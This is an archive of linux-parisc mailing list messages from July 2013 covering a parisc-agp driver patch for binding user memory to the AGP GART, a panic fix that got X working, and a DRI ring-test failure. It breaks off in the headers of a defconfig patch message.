-	if (type !=3D 0 || mem->type !=3D 0) {
+	if (type !=3D mem->type ||
+		agp_bridge->driver->agp_type_to_mask_type(agp_bridge, type)) {
 		return -EINVAL;
 	}
=20
@@ -175,7 +176,8 @@ parisc_agp_remove_memory(struct agp_memory *mem, of=
f_t pg_start, int type)
 	struct _parisc_agp_info *info =3D &parisc_agp_info;
 	int i, io_pg_start, io_pg_count;
=20
-	if (type !=3D 0 || mem->type !=3D 0) {
+	if (type !=3D mem->type ||
+		agp_bridge->driver->agp_type_to_mask_type(agp_bridge, type)) {
 		return -EINVAL;
 	}
=20
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: agp/parisc-agp: allow binding of user memory
 to the AGP GART
Date: Wed, 10 Jul 2013 21:17:55 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <51DDB363.3050208@gmx.de>
References: <76F511EB-1172-4753-A8AC-B14497EF8121@p0n4ik.tk> <51DDB2AF.4030805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1251
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1373483878 29946 80.91.229.3 (10 Jul 2013 19:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 19:17:58 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: gnidorah@p0n4ik.tk
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 21:18:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uwztn-0000nS-R4
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 21:18:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753834Ab3GJTR7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 15:17:59 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53788 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752792Ab3GJTR6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 15:17:58 -0400
Original-Received: from [192.168.178.60] ([84.173.29.190]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M6zvN-1U0LNA1bgT-00woeI; Wed, 10 Jul 2013 21:17:57
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <51DDB2AF.4030805@gmx.de>
X-Provags-ID: V03:K0:waPux3xDN5iKOuLtQ0thw+3iWQgOTnDpDWlEFZUih7WwxKCh19/
 T0VsixcPF55eLXpOEK+PumGTbVzxwl/FaaUEj+sk0jAg6g/UwpDyCflQKyk565rob5gbLqZ
 WiqFFH9SlkyTqryWH6nm8kUWV3/4iIcBNaFuyrF6ufEsv79skPpbAp/IIPN4sIgXkLdFUJb
 rSdgb81t56RwwrRSw/n6w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5194
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5194>

Hi Alex,

On 07/10/2013 09:14 PM, Helge Deller wrote:
> On 07/10/2013 08:17 AM, gnidorah@p0n4ik.tk wrote:
>> The patch allows binding of user memory to the AGP GART=20
>> on systems with HP Quicksilver AGP bus. This resolves 'bind memory f=
ailed'=20
>> error seen in dmesg:
>>
>> [   29.365973] [TTM] AGP Bind memory failed.
>> =85
>> [   29.367030] [drm] Forcing AGP to PCI mode=20
>>
>> The system doesn't more fail to bind the memory, and hence not falli=
ng
>> back to the PCI mode (if other failures aren't detected).
>>
>> This is just a simple write down from the following patches:
>> agp/amd-k7: Allow binding user memory to the AGP GART [1]
>> agp/hp-agp: Allow binding user memory to the AGP GART [2]
>>
>> Both fixes are in upstream.
>>
>> [1] https://lkml.org/lkml/2010/10/15/469
>> [2] http://marc.info/?l=3Dlinux-ia64&m=3D131412890819311&w=3D2


Please send an Signed-off-by: line for your patch too...

Helge




>=20
> Thanks for the patch!!!
>=20
> Could you please attach patches inline (as text) next time?
> Our patchwork tool (https://patchwork.kernel.org/project/linux-parisc=
/list/) missed to pick up your patch too.
>=20
> Furthermore, I just noticed that vger.kernel.org stopped forwarding m=
e mails to the mailing list
> during the last few days. So, I would have missed your patch if I wou=
ldn't have noticed the failing forwarding.
>=20
> Thanks,
> Helge
>=20
> PS: I attached it here again for patchwork....
>=20
>=20
> diff --git a/drivers/char/agp/parisc-agp.c b/drivers/char/agp/parisc-=
agp.c
> index 94821ab..9576fad 100644
> --- a/drivers/char/agp/parisc-agp.c
> +++ b/drivers/char/agp/parisc-agp.c
> @@ -129,7 +129,8 @@ parisc_agp_insert_memory(struct agp_memory *mem, =
off_t pg_start, int type)
>  	off_t j, io_pg_start;
>  	int io_pg_count;
> =20
> -	if (type !=3D 0 || mem->type !=3D 0) {
> +	if (type !=3D mem->type ||
> +		agp_bridge->driver->agp_type_to_mask_type(agp_bridge, type)) {
>  		return -EINVAL;
>  	}
> =20
> @@ -175,7 +176,8 @@ parisc_agp_remove_memory(struct agp_memory *mem, =
off_t pg_start, int type)
>  	struct _parisc_agp_info *info =3D &parisc_agp_info;
>  	int i, io_pg_start, io_pg_count;
> =20
> -	if (type !=3D 0 || mem->type !=3D 0) {
> +	if (type !=3D mem->type ||
> +		agp_bridge->driver->agp_type_to_mask_type(agp_bridge, type)) {
>  		return -EINVAL;
>  	}
> =20
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: agp/parisc-agp: allow binding of user memory to the AGP GART
Date: Wed, 10 Jul 2013 23:52:24 +0400
Lines: 35
Approved: news@gmane.org
Message-ID: <476341373485944@web14h.yandex.ru>
References: <76F511EB-1172-4753-A8AC-B14497EF8121@p0n4ik.tk> <51DDB2AF.4030805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1373486397 26333 80.91.229.3 (10 Jul 2013 19:59:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 19:59:57 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 21:59:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux0YH-0001r2-MW
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 21:59:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754749Ab3GJT7s convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 15:59:48 -0400
Original-Received: from forward5h.mail.yandex.net ([84.201.186.23]:46829 "EHLO
	forward5h.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754725Ab3GJT7s (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 15:59:48 -0400
X-Greylist: delayed 436 seconds by postgrey-1.27 at vger.kernel.org; Wed, 10 Jul 2013 15:59:48 EDT
Original-Received: from web14h.yandex.ru (web14h.yandex.ru [84.201.186.43])
	by forward5h.mail.yandex.net (Yandex) with ESMTP id A9F16D0B8FC;
	Wed, 10 Jul 2013 23:52:25 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web14h.yandex.ru (Yandex) with ESMTP id 031D743702B3;
	Wed, 10 Jul 2013 23:52:24 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web14h.yandex.ru with HTTP;
	Wed, 10 Jul 2013 23:52:24 +0400
In-Reply-To: <51DDB2AF.4030805@gmx.de>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5195
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5195>

10.07.2013, 23:14, "Helge Deller" <deller@gmx.de>:

> =9AHi Alex,
>
> =9AThanks for the patch!!!
>
> =9ACould you please attach patches inline (as text) next time?
> =9AOur patchwork tool (https://patchwork.kernel.org/project/linux-par=
isc/list/) missed to pick up your patch too.
>
> =9AFurthermore, I just noticed that vger.kernel.org stopped forwardin=
g me mails to the mailing list
> =9Aduring the last few days. So, I would have missed your patch if I =
wouldn't have noticed the failing forwarding.
>
> =9AThanks,
> =9AHelge

Helge,

> Could you please attach patches inline (as text) next time?

My mistake, i'll do next time.

> Please send an Signed-off-by: line for your patch too...

Signed-off-by: Alex Ivanov <gnidorah@p0n4ik.tk>

Thank you!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Thu, 11 Jul 2013 00:19:26 +0400
Lines: 30
Approved: news@gmane.org
Message-ID: <216411373487566@web6f.yandex.ru>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1373487571 7559 80.91.229.3 (10 Jul 2013 20:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 20:19:31 +0000 (UTC)
To: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 22:19:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux0rK-0004VR-S5
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 22:19:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754473Ab3GJUTa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 16:19:30 -0400
Original-Received: from forward12.mail.yandex.net ([95.108.130.94]:42134 "EHLO
	forward12.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754391Ab3GJUT3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 16:19:29 -0400
Original-Received: from web6f.yandex.ru (web6f.yandex.ru [95.108.130.103])
	by forward12.mail.yandex.net (Yandex) with ESMTP id 39000C21C43
	for <linux-parisc@vger.kernel.org>; Thu, 11 Jul 2013 00:19:27 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web6f.yandex.ru (Yandex) with ESMTP id E3DD46260035;
	Thu, 11 Jul 2013 00:19:26 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web6f.yandex.ru with HTTP;
	Thu, 11 Jul 2013 00:19:26 +0400
In-Reply-To: <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5196
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5196>

Sorry for not CC'ing to the list.

10.07.2013, 03:35, "John David Anglin" <dave.anglin@bell.net>:

> =9AOn 9-Jul-13, at 4:59 PM, John David Anglin wrote:
>> =9A=9AOn 7/9/2013 3:45 PM, Alex Ivanov wrote:
>>> =9A=9AThe panic on SMP kernel changed to another one:
>>> =9A=9Ahttp://pastebin.com/SfUfd0Un
>> =9A=9AThis is just a guess but I don't think page is valid
>> =9A=9Aif the pfn is not valid. =9AYou might try this untested change=
=2E
>>
>> =9A=9Aflush_cache_mm might have same problem (i.e., we may need to
>> =9A=9Acheck whether the pfn for the pte is valid).
> =9AThis version compiles and boots on rp3440.
>
> =9ADave
> =9A--
> =9AJohn David Anglin dave.anglin@bell.net

Dave,

Thank you so much! Your guess looks to be right. After applying of your
patch there was no more KP and X just worked.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Wed, 10 Jul 2013 16:28:56 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <51DDC408.6040406@bell.net>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org> <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org> <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373488183 14717 80.91.229.3 (10 Jul 2013 20:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 20:29:43 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 22:29:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux11A-0006a8-Ln
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 22:29:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754674Ab3GJU3j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 16:29:39 -0400
Original-Received: from smtp1.primus.ca ([209.216.129.80]:46392 "EHLO mail-01.primus.ca"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1754520Ab3GJU3j (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 16:29:39 -0400
Original-Received: from 174-138-193-200.cpe.distributel.net ([174.138.193.200] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Ux116-0006f6-2q; Wed, 10 Jul 2013 16:29:37 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7
In-Reply-To: <216411373487566@web6f.yandex.ru>
X-Authenticated: danglin-lux@magma.ca - 174-138-193-200.cpe.distributel.net ([192.168.0.181]) [174.138.193.200]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5197>

On 7/10/2013 4:19 PM, Alex Ivanov wrote:
> Sorry for not CC'ing to the list.
>
> 10.07.2013, 03:35, "John David Anglin" <dave.anglin@bell.net>:
>
>>   On 9-Jul-13, at 4:59 PM, John David Anglin wrote:
>>>    On 7/9/2013 3:45 PM, Alex Ivanov wrote:
>>>>    The panic on SMP kernel changed to another one:
>>>>    http://pastebin.com/SfUfd0Un
>>>    This is just a guess but I don't think page is valid
>>>    if the pfn is not valid.  You might try this untested change.
>>>
>>>    flush_cache_mm might have same problem (i.e., we may need to
>>>    check whether the pfn for the pte is valid).
>>   This version compiles and boots on rp3440.
>>
>>   Dave
>>   --
>>   John David Anglin dave.anglin@bell.net
> Dave,
>
> Thank you so much! Your guess looks to be right. After applying of your
> patch there was no more KP and X just worked.
I have been studying this issue a bit more.  It looks to me as if it 
would be better to call
vm_normal_page to get the page.  It returns NULL when we a have special 
mapping that
doesn't want to be associated with a struct page.  See comment in 
mm/memory.c.

I'll send a patch when I get a chance to test this approach.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Wed, 10 Jul 2013 14:14:12 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
 <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org>
 <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org>
 <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1373490873 12790 80.91.229.3 (10 Jul 2013 21:14:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 21:14:33 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 23:14:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux1ic-0006mK-8B
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 23:14:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754295Ab3GJVOe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 17:14:34 -0400
Original-Received: from mail-qe0-f42.google.com ([209.85.128.42]:54964 "EHLO
	mail-qe0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754162Ab3GJVOd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 17:14:33 -0400
Original-Received: by mail-qe0-f42.google.com with SMTP id s14so4070728qeb.15
        for <linux-parisc@vger.kernel.org>; Wed, 10 Jul 2013 14:14:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=sYZosAVrZqsGl0qSuIX7ePH+rqjTPr344U/84eOfCa8=;
        b=oWEaAhUGW8sYRSOvN25Iqaa8EXmpvkCzgy2W5KXcnjTFM7YbZQ5J3QVtcBcsthytOE
         WhlapsuDechKe33wrHXokLxDb87GyYMOEkrqaaSysG4E1Epy9E/fnrwzeBmeoO7/oCiL
         9ZJP9E1cvYEeCR9bQF1p4/Huru4MVp3+ZVTEWfkA6Xl6SmOPIQWt7x3motUzUz3JQ40q
         9GPOUR8glyLYJnfDVhaLq5DK6DIO59wSDpZ2BaQG6+UC4j7uLxx5KlFkMacJ9K6fdTMM
         BschOe13U62kGJfoopD+SKKBc5kxlH195EPa4pAzZiu+XHimmS/3yAflyYwEkyRe6SM/
         poAw==
X-Received: by 10.224.183.142 with SMTP id cg14mr30610897qab.27.1373490872655;
 Wed, 10 Jul 2013 14:14:32 -0700 (PDT)
Original-Received: by 10.49.108.6 with HTTP; Wed, 10 Jul 2013 14:14:12 -0700 (PDT)
In-Reply-To: <216411373487566@web6f.yandex.ru>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5198>

On Wed, Jul 10, 2013 at 1:19 PM, Alex Ivanov <gnidorah@p0n4ik.tk> wrote:
> Thank you so much! Your guess looks to be right. After applying of your
> patch there was no more KP and X just worked.

Nice! Does DRI work?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Thu, 11 Jul 2013 01:29:12 +0400
Lines: 26
Approved: news@gmane.org
Message-ID: <518401373491752@web17h.yandex.ru>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com>
 <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org>
 <51DC29DC.8060106@bell.net> <loom.20130709T200549-18@post.gmane.org>
 <51DC7996.3010405@bell.net> <BLU0-SMTP393134EC9554B3C1E34F9297790@phx.gbl> <216411373487566@web6f.yandex.ru> <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1373492189 26677 80.91.229.3 (10 Jul 2013 21:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 21:36:29 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 23:36:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ux23o-0007TC-Vc
	for glpp-linux-parisc@plane.gmane.org; Wed, 10 Jul 2013 23:36:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754630Ab3GJVg2 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Jul 2013 17:36:28 -0400
Original-Received: from forward2h.mail.yandex.net ([84.201.187.147]:51562 "EHLO
	forward2h.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754574Ab3GJVg2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Jul 2013 17:36:28 -0400
X-Greylist: delayed 432 seconds by postgrey-1.27 at vger.kernel.org; Wed, 10 Jul 2013 17:36:27 EDT
Original-Received: from web17h.yandex.ru (web17h.yandex.ru [84.201.186.46])
	by forward2h.mail.yandex.net (Yandex) with ESMTP id 1632A70C4F8;
	Thu, 11 Jul 2013 01:29:13 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web17h.yandex.ru (Yandex) with ESMTP id 4EA586EC80A3;
	Thu, 11 Jul 2013 01:29:13 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web17h.yandex.ru with HTTP;
	Thu, 11 Jul 2013 01:29:12 +0400
In-Reply-To: <CAEdQ38FDuGy_yjB+yV93dtNxJ-kicavhOqFNWLiWesVrbd1uRA@mail.gmail.com>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5199
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5199>

11.07.2013, 01:14, "Matt Turner" <mattst88@gmail.com>:
> On Wed, Jul 10, 2013 at 1:19 PM, Alex Ivanov <gnidorah@p0n4ik.tk> wro=
te:
>
>> =9AThank you so much! Your guess looks to be right. After applying o=
f your
>> =9Apatch there was no more KP and X just worked.
>
> Nice! Does DRI work?

Not on my side. Plus i can't visually jump over 8bit depth, although Xo=
rg=20
states 24bit in it's log.
As for DRI, i'm experiencing=20
"ring test failed (scratch(0x15E4)=3D0xCAFEDEAD)" with a firegl x3.

Can't figure out why, the ring vaddr (0x0000000060001000) is within the
limits of dma32. But the ring test fails. And i'm afraid that just addi=
ng a=20
buffer bounces in places will not help.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add defconfig for c8000 machine
Date: Wed, 10 Jul 2013 23:50:35 +0200
Lines: 292
Approved: news@gmane.org
Message-ID: <20130710215035.GA26880@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1373493040 3235 80.91.229.3 (10 Jul 2013 21:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jul 2013 21:50:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 10 23:50:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
